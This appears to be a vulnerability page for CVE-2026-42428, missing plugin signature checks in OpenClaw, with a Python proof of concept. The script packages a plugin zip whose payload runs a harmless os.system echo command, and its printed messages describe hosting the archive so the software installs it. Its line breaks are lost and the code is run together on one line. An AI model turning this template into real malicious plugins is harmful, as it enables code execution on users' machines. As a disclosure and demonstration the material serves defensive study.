CVE-2026-42428 OpenClaw插件完整性验证缺失漏洞

#!/usr/bin/env python3 # Conceptual PoC for CVE-2026-42428: OpenClaw Integrity Verification Bypass # This script demonstrates how an attacker could create a malicious plugin archive. import zipfile import os def create_malicious_plugin(): plugin_name = "malicious_plugin" # Create a directory structure for the plugin os.makedirs(plugin_name, exist_ok=True) # Create a malicious manifest or payload file with open(f"{plugin_name}/payload.py", "w") as f: f.write("import os\n") f.write("# Malicious code execution\n") f.write("os.system('echo CVE-2026-42428_PWNED')\n") # Create a meta file if required by OpenClaw with open(f"{plugin_name}/plugin.json", "w") as f: f.write('{"name": "Malicious Plugin", "version": "1.0.0"}') # Zip the directory with zipfile.ZipFile(f"{plugin_name}.zip", 'w') as zipf: for root, dirs, files in os.walk(plugin_name): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, plugin_name) zipf.write(file_path, arcname) print(f"[+] Malicious plugin archive created: {plugin_name}.zip") print("[+] Attacker would host this file and trick OpenClaw into downloading it.") print("[+] Since OpenClaw < 2026.4.8 does not verify signatures, this will be installed.") if __name__ == "__main__": create_malicious_plugin()